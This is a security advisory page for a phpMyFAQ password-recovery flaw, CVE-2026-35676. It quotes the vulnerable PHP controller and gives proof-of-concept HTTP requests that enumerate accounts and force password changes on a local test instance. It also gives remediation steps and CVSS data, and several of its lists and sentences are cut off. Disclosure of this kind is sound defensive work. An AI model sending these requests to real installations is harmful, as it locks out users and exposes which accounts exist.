phpMyFAQ: Unauthenticated Password Reset Endpoint Allows User Enumeration and Forced Password Change Without Token Validation
The password reset API can be triggered without authentication and without any out-of-band confirmation step.
If an attacker knows a valid username + email pair, they can call the reset endpoint directly. The application immediately generates a new password, writes it to the account, and only then sends the new password by email.
This creates two issues at the same time:
In my local reproduction, I confirmed both the response difference and the password change itself.
The relevant code is in phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php.
The route is exposed without authentication:
```php
#[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]
public function updatePassword(Request $request): JsonResponse
```
The flow is straightforward:
```php
$loginExist = $user->getUserByLogin($username);
if ($loginExist && $email === $user->getUserData('email')) {
$newPassword = $user->createPassword();
$user->changePassword($newPassword);
$mail->send();
return $this->json(['success' => Translation::get(key: 'lostpwd_mail_okay')], Response::HTTP_OK);
}
return $this->json(['error' => Translation::get(key: 'lostpwd_err_1')], Response::HTTP_CONFLICT);
```
The core issue is that the password is changed immediately after a simple username and email match. There is no reset token, no confirmation link, no second step, and no requirement that the caller prove control of the mailbox before the password is replaced.
That means the endpoint is not just a "forgot password email sender". It is an actual unauthenticated password change trigger.
This was reproduced against a local Docker deployment of the project.
For a valid username and email pair:
```http
PUT /api/index.php/user/password/update HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
{"username":"user1","email":"[email protected]"}
```
Response:
```http
HTTP/1.0 200 OK
Content-Type: application/json
{"success":"Email has been sent."}
```
For an invalid pair:
```http
PUT /api/index.php/user/password/update HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
{"username":"user1","email":"[email protected]"}
```
Response:
```http
HTTP/1.0 409 Conflict
Content-Type: application/json
{"error":"Error: Username and email address not found."}
```
That already confirms enumeration.
To verify that the password really changes, created a test account:
user2Oldpass123![email protected]Before calling the endpoint, the password hash stored in faquserlogin was:
```text
481bf096fd16e68ebbb8b98368bc0b5c17631a00f01a36dbb4a8dade0f0b8125
```
Then send:
```http
PUT /api/index.php/user/password/update HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
{"username":"user2","email":"[email protected]"}
```
The response was:
```http
HTTP/1.0 200 OK
Content-Type: application/json
{"success":"Email has been sent."}
```
After that, the stored hash changed to:
```text
3497f20c251da705f673dcac500fbf9e2e2e495719a7e2df9be08db42bf1286f
```
Then try to log in with the old password:
```http
POST /authenticate HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
faqusername=user2&faqpassword=Oldpass123!
```
The application redirected back to the login page and reported that the password was incorrect.
So this is not just a cosmetic issue in the API response. The old credential really becomes invalid.
The most realistic impact here is forced password reset and account disruption.
An attacker who knows or can guess a valid username and email pair can:
If the attacker does not control the victim's mailbox, this is usually a denial-of-service style account disruption rather than instant account takeover. That is the main reason I would keep the severity at Medium.
Even so, this is still a real security issue. Password recovery should not allow an unauthenticated caller to change the account password directly.
Recommend to change the password recovery flow to a token-based design.
1. Do not change the password inside the unauthenticated endpoint.
2. Generate a short-lived, single-use reset token and send only the reset link by email.
3. Return the same generic response for both valid and invalid username/email pairs.
4. Keep rate limiting in place, but do not rely on it as the main protection.
5. Add regression tests that verify the password hash does not change until a valid reset toke
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity high, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
CVE-2026-35676 is classified as CWE-640: Weak Password Recovery Mechanism. The account recovery flow is easier to defeat than the password it protects.
CVE-2026-35676 is recorded against 3 packages.
Published on 20 May 2026 and last revised on 28 May 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
github.com (Package)
phpmyfaq/phpmyfaq has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-640: Weak Password Recovery Mechanism) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| phpmyfaq/phpmyfaq | — | 4.1.3 |
| thorsten/phpmyfaq | — | 4.1.3 |
| unknown | — | — |
References
Similar Threats
Site Security Check
CVE-2026-35676 is rated CVSS 8.2 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.